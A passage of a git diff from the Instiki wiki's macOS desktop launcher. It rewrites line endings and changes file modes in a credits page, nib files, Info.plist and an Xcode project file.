            Human Interface Design:
            -
            Some other people
            - -
            Testing:
            -
            Hopefully not nobody
            - -
            Documentation:
            -
            Whoever
            - -
            With special thanks to:
            -
            Mom
            +
            +
            Engineering:
            +
            Some people
            + +
            Human Interface Design:
            +
            Some other people
            + +
            Testing:
            +
            Hopefully not nobody
            + +
            Documentation:
            +
            Whoever
            + +
            With special thanks to:
            +
            Mom
            \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings old mode 100755 new mode 100644 diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib old mode 100755 new mode 100644 index 368a876f..60ddec12 --- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib @@ -1,13 +1,13 @@ -{ - IBClasses = ( - { - ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; }; - CLASS = AppDelegate; - LANGUAGE = ObjC; - OUTLETS = {statusMenu = NSMenu; }; - SUPERCLASS = NSObject; - }, - {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; } - ); - IBVersion = 1; +{ + IBClasses = ( + { + ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; }; + CLASS = AppDelegate; + LANGUAGE = ObjC; + OUTLETS = {statusMenu = NSMenu; }; + SUPERCLASS = NSObject; + }, + {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; } + ); + IBVersion = 1; } \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib old mode 100755 new mode 100644 index 6383ba8f..3ef7d504 --- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib @@ -1,24 +1,24 @@ - - - - - IBDocumentLocation - 109 6 356 240 0 0 1440 878 - IBEditorPositions - - 206 - 112 300 116 87 0 0 1440 878 - 29 - 241 316 70 44 0 0 1440 878 - - IBFramework Version - 349.0 - IBOpenObjects - - 206 - 29 - - IBSystem Version - 7H63 - - + + + + + IBDocumentLocation + 109 6 356 240 0 0 1440 878 + IBEditorPositions + + 206 + 112 300 116 87 0 0 1440 878 + 29 + 241 316 70 44 0 0 1440 878 + + IBFramework Version + 349.0 + IBOpenObjects + + 206 + 29 + + IBSystem Version + 7H63 + + diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib old mode 100755 new mode 100644 diff --git a/natives/osx/desktop_launcher/Info.plist b/natives/osx/desktop_launcher/Info.plist old mode 100755 new mode 100644 index 723bf68a..c2c9f3bf --- a/natives/osx/desktop_launcher/Info.plist +++ b/natives/osx/desktop_launcher/Info.plist @@ -1,13 +1,13 @@ -{ - CFBundleDevelopmentRegion = English; - CFBundleExecutable = Instiki; - CFBundleIconFile = ""; - CFBundleIdentifier = "com.nextangle.instiki"; - CFBundleInfoDictionaryVersion = "6.0"; - CFBundlePackageType = APPL; - CFBundleSignature = WIKI; - CFBundleVersion = "0.9.0"; - LSUIElement = 1; - NSMainNibFile = MainMenu; - NSPrincipalClass = NSApplication; +{ + CFBundleDevelopmentRegion = English; + CFBundleExecutable = Instiki; + CFBundleIconFile = ""; + CFBundleIdentifier = "com.nextangle.instiki"; + CFBundleInfoDictionaryVersion = "6.0"; + CFBundlePackageType = APPL; + CFBundleSignature = WIKI; + CFBundleVersion = "0.9.0"; + LSUIElement = 1; + NSMainNibFile = MainMenu; + NSPrincipalClass = NSApplication; } \ No newline at end of file diff --git a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj old mode 100755 new mode 100644 index 9b9bb292..f71cb7bc --- a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj +++ b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj @@ -1,592 +1,592 @@ -// !$*UTF8*$! -{ - archiveVersion = 1; - classes = { - }; - objectVersion = 39; - objects = { - 080E96DDFE201D6D7F000001 = { - children = ( - 174B2765065CE31400ED6208, - 174B2766065CE31400ED6208, - ); - isa = PBXGroup; - name = Classes; - refType = 4; - sourceTree = ""; - }; - 089C165CFE840E0CC02AAC07 = { - children = ( - 089C165DFE840E0CC02AAC07, - ); - isa = PBXVariantGroup; - name = InfoPlist.strings; - refType = 4; - sourceTree = ""; - }; - 089C165DFE840E0CC02AAC07 = { - fileEncoding = 10; - isa = PBXFileReference; - lastKnownFileType = text.plist.strings; - name = English; - path = English.lproj/InfoPlist.strings; - refType = 4; - sourceTree = ""; - }; -//080 -//081 -//082 -//083 -//084 -//100 -//101 -//102 -//103 -//104 - 1058C7A0FEA54F0111CA2CBB = { - children = ( - 1058C7A1FEA54F0111CA2CBB, - ); - isa = PBXGroup; - name = "Linked Frameworks"; - refType = 4; - sourceTree = ""; - }; - 1058C7A1FEA54F0111CA2CBB = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = Cocoa.framework; - path = /System/Library/Frameworks/Cocoa.framework; - refType = 0; - sourceTree = ""; - }; - 1058C7A2FEA54F0111CA2CBB = { - children = ( - 29B97325FDCFA39411CA2CEA, - 29B97324FDCFA39411CA2CEA, - ); - isa = PBXGroup; - name = "Other Frameworks"; - refType = 4; - sourceTree = ""; - }; -//100 -//101 -//102 -//103 -//104 -//170 -//171 -//172 -//173 -//174 - 174B2765065CE31400ED6208 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.cpp.objcpp; - path = AppDelegate.mm; - refType = 4; - sourceTree = ""; - }; - 174B2766065CE31400ED6208 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.c.h; - path = AppDelegate.h; - refType = 4; - sourceTree = ""; - }; - 174B2767065CE31400ED6208 = { - fileRef = 174B2765065CE31400ED6208; - isa = PBXBuildFile; - settings = { - }; - }; - 174B2768065CE31400ED6208 = { - fileRef = 174B2766065CE31400ED6208; - isa = PBXBuildFile; - settings = { - }; - }; - 17BF6FD9067536EB003F37D6 = { - children = ( - 63B86D2F0673A5D300807E13, - 63B86D1A0673A5B200807E13, - 63B86D100673A58400807E13, - ); - isa = PBXGroup; - name = "Instiki Source"; - refType = 4; - sourceTree = ""; - }; - 17C1C5CD065D3A3C003526E7 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.html; - path = Credits.html; - refType = 4; - sourceTree = ""; - }; - 17C1C5CE065D3A3C003526E7 = { - fileRef = 17C1C5CD065D3A3C003526E7; - isa = PBXBuildFile; - settings = { - }; - }; - 17C1C6E2065D458D003526E7 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.script.sh; - path = MakeDMG.sh; - refType = 4; - sourceTree = ""; - }; - 17F6C11106629574007E0BD0 = { - isa = PBXFileReference; - lastKnownFileType = "compiled.mach-o.executable"; - name = ruby; - path = /usr/local/bin/ruby; - refType = 0; - sourceTree = ""; - }; - 17F6C11206629574007E0BD0 = { - fileRef = 17F6C11106629574007E0BD0; - isa = PBXBuildFile; - settings = { - }; - }; - 17F6C113066295D0007E0BD0 = { - isa = PBXFileReference; - lastKnownFileType = folder; - name = ruby; - path = /usr/local/lib/ruby; - refType = 0; - sourceTree = ""; - }; - 17F6C3A90662960F007E0BD0 = { - buildActionMask = 2147483647; - dstPath = lib; - dstSubfolderSpec = 7; - files = ( - 17F6C3CF066296B5007E0BD0, - ); - isa = PBXCopyFilesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 17F6C3CF066296B5007E0BD0 = { - fileRef = 17F6C113066295D0007E0BD0; - isa = PBXBuildFile; - settings = { - }; - }; - 17F6C3D2066296E4007E0BD0 = { - children = ( - 17F6C11106629574007E0BD0, - 17F6C113066295D0007E0BD0, - ); - isa = PBXGroup; - name = "Ruby 1.8"; - refType = 4; - sourceTree = ""; - }; -//170 -//171 -//172 -//173 -//174 -//190 -//191 -//192 -//193 -//194 - 19C28FACFE9D520D11CA2CBB = { - children = ( - 8D1107320486CEB800E47090, - ); - isa = PBXGroup; - name = Products; - refType = 4; - sourceTree = ""; - }; -//190 -//191 -//192 -//193 -//194 -//290 -//291 -//292 -//293 -//294 - 29B97313FDCFA39411CA2CEA = { - buildSettings = { - }; - buildStyles = ( - 4A9504CCFFE6A4B311CA0CBA, - 4A9504CDFFE6A4B311CA0CBA, - ); - hasScannedForEncodings = 1; - isa = PBXProject; - mainGroup = 29B97314FDCFA39411CA2CEA; - projectDirPath = ""; - targets = ( - 8D1107260486CEB800E47090, - ); - }; - 29B97314FDCFA39411CA2CEA = { - children = ( - 080E96DDFE201D6D7F000001, - 29B97315FDCFA39411CA2CEA, - 29B97317FDCFA39411CA2CEA, - 29B97323FDCFA39411CA2CEA, - 19C28FACFE9D520D11CA2CBB, - 17C1C6E2065D458D003526E7, - ); - isa = PBXGroup; - name = Instiki; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97315FDCFA39411CA2CEA = { - children = ( - 32CA4F630368D1EE00C91783, - 29B97316FDCFA39411CA2CEA, - ); - isa = PBXGroup; - name = "Other Sources"; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97316FDCFA39411CA2CEA = { - fileEncoding = 30; - isa = PBXFileReference; - lastKnownFileType = sourcecode.cpp.objcpp; - path = main.mm; - refType = 4; - sourceTree = ""; - }; - 29B97317FDCFA39411CA2CEA = { - children = ( - 17BF6FD9067536EB003F37D6, - 17F6C3D2066296E4007E0BD0, - 8D1107310486CEB800E47090, - 089C165CFE840E0CC02AAC07, - 29B97318FDCFA39411CA2CEA, - 17C1C5CD065D3A3C003526E7, - ); - isa = PBXGroup; - name = Resources; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97318FDCFA39411CA2CEA = { - children = ( - 29B97319FDCFA39411CA2CEA, - ); - isa = PBXVariantGroup; - name = MainMenu.nib; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97319FDCFA39411CA2CEA = { - isa = PBXFileReference; - lastKnownFileType = wrapper.nib; - name = English; - path = English.lproj/MainMenu.nib; - refType = 4; - sourceTree = ""; - }; - 29B97323FDCFA39411CA2CEA = { - children = ( - 1058C7A0FEA54F0111CA2CBB, - 1058C7A2FEA54F0111CA2CBB, - ); - isa = PBXGroup; - name = Frameworks; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97324FDCFA39411CA2CEA = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = AppKit.framework; - path = /System/Library/Frameworks/AppKit.framework; - refType = 0; - sourceTree = ""; - }; - 29B97325FDCFA39411CA2CEA = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = Foundation.framework; - path = /System/Library/Frameworks/Foundation.framework; - refType = 0; - sourceTree = ""; - }; -//290 -//291 -//292 -//293 -//294 -//320 -//321 -//322 -//323 -//324 - 32CA4F630368D1EE00C91783 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.c.h; - path = Instiki_Prefix.pch; - refType = 4; - sourceTree = ""; - }; -//320 -//321 -//322 -//323 -//324 -//4A0 -//4A1 -//4A2 -//4A3 -//4A4 - 4A9504CCFFE6A4B311CA0CBA = { - buildRules = ( - ); - buildSettings = { - COPY_PHASE_STRIP = NO; - DEBUGGING_SYMBOLS = YES; - GCC_DYNAMIC_NO_PIC = NO; - GCC_ENABLE_FIX_AND_CONTINUE = YES; - GCC_GENERATE_DEBUGGING_SYMBOLS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - OPTIMIZATION_CFLAGS = "-O0"; - ZERO_LINK = YES; - }; - isa = PBXBuildStyle; - name = Development; - }; - 4A9504CDFFE6A4B311CA0CBA = { - buildRules = ( - ); - buildSettings = { - COPY_PHASE_STRIP = YES; - GCC_ENABLE_FIX_AND_CONTINUE = NO; - ZERO_LINK = NO; - }; - isa = PBXBuildStyle; - name = Deployment; - }; -//4A0 -//4A1 -//4A2 -//4A3 -//4A4 -//630 -//631 -//632 -//633 -//634 - 63B86D0F0673A53100807E13 = { - buildActionMask = 2147483647; - dstPath = rb_src; - dstSubfolderSpec = 7; - files = ( - 63B86D310673A5D600807E13, - 63B86D1C0673A5B600807E13, - 63B86D120673A59100807E13, - ); - isa = PBXCopyFilesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 63B86D100673A58400807E13 = { - explicitFileType = folder; - fileEncoding = 4; - isa = PBXFileReference; - name = app; - path = /Users/duff/Source/rb_src/instiki/app; - refType = 0; - sourceTree = ""; - }; - 63B86D120673A59100807E13 = { - fileRef = 63B86D100673A58400807E13; - isa = PBXBuildFile; - settings = { - }; - }; - 63B86D1A0673A5B200807E13 = { - explicitFileType = folder; - fileEncoding = 4; - isa = PBXFileReference; - name = libraries; - path = /Users/duff/Source/rb_src/instiki/libraries; - refType = 0; - sourceTree = ""; - }; - 63B86D1C0673A5B600807E13 = { - fileRef = 63B86D1A0673A5B200807E13; - isa = PBXBuildFile; - settings = { - }; - }; - 63B86D2F0673A5D300807E13 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.script.ruby; - name = instiki.rb; - path = /Users/duff/Source/rb_src/instiki/instiki.rb; - refType = 0; - sourceTree = ""; - }; - 63B86D310673A5D600807E13 = { - fileRef = 63B86D2F0673A5D300807E13; - isa = PBXBuildFile; - settings = { - }; - }; -//630 -//631 -//632 -//633 -//634 -//8D0 -//8D1 -//8D2 -//8D3 -//8D4 - 8D1107260486CEB800E47090 = { - buildPhases = ( - 8D1107270486CEB800E47090, - 8D1107290486CEB800E47090, - 8D11072C0486CEB800E47090, - 8D11072E0486CEB800E47090, - 17F6C3A90662960F007E0BD0, - 63B86D0F0673A53100807E13, - ); - buildRules = ( - ); - buildSettings = { - FRAMEWORK_SEARCH_PATHS = ""; - GCC_ENABLE_TRIGRAPHS = NO; - GCC_GENERATE_DEBUGGING_SYMBOLS = NO; - GCC_PRECOMPILE_PREFIX_HEADER = YES; - GCC_PREFIX_HEADER = Instiki_Prefix.pch; - GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; - GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; - GCC_WARN_UNKNOWN_PRAGMAS = NO; - HEADER_SEARCH_PATHS = ""; - INFOPLIST_FILE = Info.plist; - INSTALL_PATH = "$(HOME)/Applications"; - LIBRARY_SEARCH_PATHS = ""; - OTHER_CFLAGS = ""; - OTHER_LDFLAGS = ""; - PRODUCT_NAME = Instiki; - SECTORDER_FLAGS = ""; - WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; - WRAPPER_EXTENSION = app; - }; - dependencies = ( - ); - isa = PBXNativeTarget; - name = Instiki; - productInstallPath = "$(HOME)/Applications"; - productName = Instiki; - productReference = 8D1107320486CEB800E47090; - productType = "com.apple.product-type.application"; - }; - 8D1107270486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D1107280486CEB800E47090, - 174B2768065CE31400ED6208, - ); - isa = PBXHeadersBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D1107280486CEB800E47090 = { - fileRef = 32CA4F630368D1EE00C91783; - isa = PBXBuildFile; - settings = { - }; - }; - 8D1107290486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072A0486CEB800E47090, - 8D11072B0486CEB800E47090, - 17C1C5CE065D3A3C003526E7, - 17F6C11206629574007E0BD0, - ); - isa = PBXResourcesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072A0486CEB800E47090 = { - fileRef = 29B97318FDCFA39411CA2CEA; - isa = PBXBuildFile; - settings = { - }; - }; - 8D11072B0486CEB800E47090 = { - fileRef = 089C165CFE840E0CC02AAC07; - isa = PBXBuildFile; - settings = { - }; - }; - 8D11072C0486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072D0486CEB800E47090, - 174B2767065CE31400ED6208, - ); - isa = PBXSourcesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072D0486CEB800E47090 = { - fileRef = 29B97316FDCFA39411CA2CEA; - isa = PBXBuildFile; - settings = { - ATTRIBUTES = ( - ); - }; - }; - 8D11072E0486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072F0486CEB800E47090, - ); - isa = PBXFrameworksBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072F0486CEB800E47090 = { - fileRef = 1058C7A1FEA54F0111CA2CBB; - isa = PBXBuildFile; - settings = { - }; - }; - 8D1107310486CEB800E47090 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.plist; - path = Info.plist; - refType = 4; - sourceTree = ""; - }; - 8D1107320486CEB800E47090 = { - explicitFileType = wrapper.application; - includeInIndex = 0; - isa = PBXFileReference; - path = Instiki.app; - refType = 3; - sourceTree = BUILT_PRODUCTS_DIR; - }; - }; - rootObject = 29B97313FDCFA39411CA2CEA; -} +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 39; + objects = { + 080E96DDFE201D6D7F000001 = { + children = ( + 174B2765065CE31400ED6208, + 174B2766065CE31400ED6208, + ); + isa = PBXGroup; + name = Classes; + refType = 4; + sourceTree = ""; + }; + 089C165CFE840E0CC02AAC07 = { + children = ( + 089C165DFE840E0CC02AAC07, + ); + isa = PBXVariantGroup; + name = InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; + 089C165DFE840E0CC02AAC07 = { + fileEncoding = 10; + isa = PBXFileReference; + lastKnownFileType = text.plist.strings; + name = English; + path = English.lproj/InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; +//080 +//081 +//082 +//083 +//084 +//100 +//101 +//102 +//103 +//104 + 1058C7A0FEA54F0111CA2CBB = { + children = ( + 1058C7A1FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = "Linked Frameworks"; + refType = 4; + sourceTree = ""; + }; + 1058C7A1FEA54F0111CA2CBB = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Cocoa.framework; + path = /System/Library/Frameworks/Cocoa.framework; + refType = 0; + sourceTree = ""; + }; + 1058C7A2FEA54F0111CA2CBB = { + children = ( + 29B97325FDCFA39411CA2CEA, + 29B97324FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Frameworks"; + refType = 4; + sourceTree = ""; + }; +//100 +//101 +//102 +//103 +//104 +//170 +//171 +//172 +//173 +//174 + 174B2765065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = AppDelegate.mm; + refType = 4; + sourceTree = ""; + }; + 174B2766065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = AppDelegate.h; + refType = 4; + sourceTree = ""; + }; + 174B2767065CE31400ED6208 = { + fileRef = 174B2765065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 174B2768065CE31400ED6208 = { + fileRef = 174B2766065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 17BF6FD9067536EB003F37D6 = { + children = ( + 63B86D2F0673A5D300807E13, + 63B86D1A0673A5B200807E13, + 63B86D100673A58400807E13, + ); + isa = PBXGroup; + name = "Instiki Source"; + refType = 4; + sourceTree = ""; + }; + 17C1C5CD065D3A3C003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.html; + path = Credits.html; + refType = 4; + sourceTree = ""; + }; + 17C1C5CE065D3A3C003526E7 = { + fileRef = 17C1C5CD065D3A3C003526E7; + isa = PBXBuildFile; + settings = { + }; + }; + 17C1C6E2065D458D003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.sh; + path = MakeDMG.sh; + refType = 4; + sourceTree = ""; + }; + 17F6C11106629574007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = "compiled.mach-o.executable"; + name = ruby; + path = /usr/local/bin/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C11206629574007E0BD0 = { + fileRef = 17F6C11106629574007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C113066295D0007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = folder; + name = ruby; + path = /usr/local/lib/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C3A90662960F007E0BD0 = { + buildActionMask = 2147483647; + dstPath = lib; + dstSubfolderSpec = 7; + files = ( + 17F6C3CF066296B5007E0BD0, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 17F6C3CF066296B5007E0BD0 = { + fileRef = 17F6C113066295D0007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C3D2066296E4007E0BD0 = { + children = ( + 17F6C11106629574007E0BD0, + 17F6C113066295D0007E0BD0, + ); + isa = PBXGroup; + name = "Ruby 1.8"; + refType = 4; + sourceTree = ""; + }; +//170 +//171 +//172 +//173 +//174 +//190 +//191 +//192 +//193 +//194 + 19C28FACFE9D520D11CA2CBB = { + children = ( + 8D1107320486CEB800E47090, + ); + isa = PBXGroup; + name = Products; + refType = 4; + sourceTree = ""; + }; +//190 +//191 +//192 +//193 +//194 +//290 +//291 +//292 +//293 +//294 + 29B97313FDCFA39411CA2CEA = { + buildSettings = { + }; + buildStyles = ( + 4A9504CCFFE6A4B311CA0CBA, + 4A9504CDFFE6A4B311CA0CBA, + ); + hasScannedForEncodings = 1; + isa = PBXProject; + mainGroup = 29B97314FDCFA39411CA2CEA; + projectDirPath = ""; + targets = ( + 8D1107260486CEB800E47090, + ); + }; + 29B97314FDCFA39411CA2CEA = { + children = ( + 080E96DDFE201D6D7F000001, + 29B97315FDCFA39411CA2CEA, + 29B97317FDCFA39411CA2CEA, + 29B97323FDCFA39411CA2CEA, + 19C28FACFE9D520D11CA2CBB, + 17C1C6E2065D458D003526E7, + ); + isa = PBXGroup; + name = Instiki; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97315FDCFA39411CA2CEA = { + children = ( + 32CA4F630368D1EE00C91783, + 29B97316FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Sources"; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97316FDCFA39411CA2CEA = { + fileEncoding = 30; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = main.mm; + refType = 4; + sourceTree = ""; + }; + 29B97317FDCFA39411CA2CEA = { + children = ( + 17BF6FD9067536EB003F37D6, + 17F6C3D2066296E4007E0BD0, + 8D1107310486CEB800E47090, + 089C165CFE840E0CC02AAC07, + 29B97318FDCFA39411CA2CEA, + 17C1C5CD065D3A3C003526E7, + ); + isa = PBXGroup; + name = Resources; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97318FDCFA39411CA2CEA = { + children = ( + 29B97319FDCFA39411CA2CEA, + ); + isa = PBXVariantGroup; + name = MainMenu.nib; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97319FDCFA39411CA2CEA = { + isa = PBXFileReference; + lastKnownFileType = wrapper.nib; + name = English; + path = English.lproj/MainMenu.nib; + refType = 4; + sourceTree = ""; + }; + 29B97323FDCFA39411CA2CEA = { + children = ( + 1058C7A0FEA54F0111CA2CBB, + 1058C7A2FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = Frameworks; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97324FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = AppKit.framework; + path = /System/Library/Frameworks/AppKit.framework; + refType = 0; + sourceTree = ""; + }; + 29B97325FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Foundation.framework; + path = /System/Library/Frameworks/Foundation.framework; + refType = 0; + sourceTree = ""; + }; +//290 +//291 +//292 +//293 +//294 +//320 +//321 +//322 +//323 +//324 + 32CA4F630368D1EE00C91783 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = Instiki_Prefix.pch; + refType = 4; + sourceTree = ""; + }; +//320 +//321 +//322 +//323 +//324 +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 + 4A9504CCFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = NO; + DEBUGGING_SYMBOLS = YES; + GCC_DYNAMIC_NO_PIC = NO; + GCC_ENABLE_FIX_AND_CONTINUE = YES; + GCC_GENERATE_DEBUGGING_SYMBOLS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + OPTIMIZATION_CFLAGS = "-O0"; + ZERO_LINK = YES; + }; + isa = PBXBuildStyle; + name = Development; + }; + 4A9504CDFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = YES; + GCC_ENABLE_FIX_AND_CONTINUE = NO; + ZERO_LINK = NO; + }; + isa = PBXBuildStyle; + name = Deployment; + }; +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 +//630 +//631 +//632 +//633 +//634 + 63B86D0F0673A53100807E13 = { + buildActionMask = 2147483647; + dstPath = rb_src; + dstSubfolderSpec = 7; + files = ( + 63B86D310673A5D600807E13, + 63B86D1C0673A5B600807E13, + 63B86D120673A59100807E13, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 63B86D100673A58400807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = app; + path = /Users/duff/Source/rb_src/instiki/app; + refType = 0; + sourceTree = ""; + }; + 63B86D120673A59100807E13 = { + fileRef = 63B86D100673A58400807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D1A0673A5B200807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = libraries; + path = /Users/duff/Source/rb_src/instiki/libraries; + refType = 0; + sourceTree = ""; + }; + 63B86D1C0673A5B600807E13 = { + fileRef = 63B86D1A0673A5B200807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D2F0673A5D300807E13 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.ruby; + name = instiki.rb; + path = /Users/duff/Source/rb_src/instiki/instiki.rb; + refType = 0; + sourceTree = ""; + }; + 63B86D310673A5D600807E13 = { + fileRef = 63B86D2F0673A5D300807E13; + isa = PBXBuildFile; + settings = { + }; + }; +//630 +//631 +//632 +//633 +//634 +//8D0 +//8D1 +//8D2 +//8D3 +//8D4 + 8D1107260486CEB800E47090 = { + buildPhases = ( + 8D1107270486CEB800E47090, + 8D1107290486CEB800E47090, + 8D11072C0486CEB800E47090, + 8D11072E0486CEB800E47090, + 17F6C3A90662960F007E0BD0, + 63B86D0F0673A53100807E13, + ); + buildRules = ( + ); + buildSettings = { + FRAMEWORK_SEARCH_PATHS = ""; + GCC_ENABLE_TRIGRAPHS = NO; + GCC_GENERATE_DEBUGGING_SYMBOLS = NO; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Instiki_Prefix.pch; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; + GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; + GCC_WARN_UNKNOWN_PRAGMAS = NO; + HEADER_SEARCH_PATHS = ""; + INFOPLIST_FILE = Info.plist; + INSTALL_PATH = "$(HOME)/Applications"; + LIBRARY_SEARCH_PATHS = ""; + OTHER_CFLAGS = ""; + OTHER_LDFLAGS = ""; + PRODUCT_NAME = Instiki; + SECTORDER_FLAGS = ""; + WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; + WRAPPER_EXTENSION = app; + }; + dependencies = ( + ); + isa = PBXNativeTarget; + name = Instiki; + productInstallPath = "$(HOME)/Applications"; + productName = Instiki; + productReference = 8D1107320486CEB800E47090; + productType = "com.apple.product-type.application"; + }; + 8D1107270486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D1107280486CEB800E47090, + 174B2768065CE31400ED6208, + ); + isa = PBXHeadersBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D1107280486CEB800E47090 = { + fileRef = 32CA4F630368D1EE00C91783; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107290486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072A0486CEB800E47090, + 8D11072B0486CEB800E47090, + 17C1C5CE065D3A3C003526E7, + 17F6C11206629574007E0BD0, + ); + isa = PBXResourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072A0486CEB800E47090 = { + fileRef = 29B97318FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072B0486CEB800E47090 = { + fileRef = 089C165CFE840E0CC02AAC07; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072C0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072D0486CEB800E47090, + 174B2767065CE31400ED6208, + ); + isa = PBXSourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072D0486CEB800E47090 = { + fileRef = 29B97316FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + ATTRIBUTES = ( + ); + }; + }; + 